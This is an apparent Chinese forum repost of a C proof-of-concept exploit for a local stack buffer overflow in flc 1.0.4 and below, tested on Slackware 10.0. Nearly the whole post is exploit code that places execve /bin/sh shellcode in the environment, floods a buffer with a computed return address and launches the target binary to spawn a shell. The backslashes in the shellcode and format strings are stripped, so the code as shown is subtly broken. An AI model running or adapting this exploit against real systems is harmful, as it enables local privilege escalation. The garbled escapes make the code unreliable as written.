发新话题
打印

Local exploit for flc versions 1.0.4 and below

Local exploit for flc versions 1.0.4 and below

文章作者:CoKi <coki@nosystem.com.ar>
复制内容到剪贴板
代码:
/* flc local stack buffer overflow exploit
  (Proof of Concept)

  Tested in Slackware 10.0

  by CoKi <[email]coki@nosystem.com.ar[/email]>
  No System Group - [url]http://www.nosystem.com.ar[/url]
*/

#include <stdio.h>
#include <strings.h>

#define BUFFER 25632 + 1

char shellcode[]=
           "x31xc0"                 /* xor %eax,%eax    */
           "x31xd2"                 /* xor %edx,%edx    */
           "x52"                    /* push %edx      */
           "x68x2fx2fx73x68"         /* push $0x68732f2f */
           "x68x2fx62x69x6e"         /* push $0x6e69622f */
           "x89xe3"                 /* movl %esp,%ebx  */
           "x52"                    /* push %edx      */
           "x53"                    /* push %ebx      */
           "x89xe1"                 /* movl %esp,%ecx  */
           "xb0x0b"                 /* mov $0xb,%al    */
           "xcdx80";                 /* int $0x80      */

int main(int argc, char *argv[]) {

      char *env[3] = {shellcode, NULL};
      char buf[BUFFER], *path;
      int *buffer = (int *) (buf);
      int i, ret;

      if(argc != 2) {
           printf(" use: %s <path>n", argv[0]);
           exit(0);
      }

      path = argv[1];

      ret = 0xbffffffa - strlen(shellcode) - strlen(path);

      for(i=0; i<=BUFFER; i+=4)
      *buffer++ = ret;

      printf("n flc <= 1.0.4 local stack buffer overflow (Proof of Concept)n");
      printf(" by CoKi <[email]coki@nosystem.com.ar[/email]>nn");

      execle(path, "flc", buf, NULL, env);
}
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题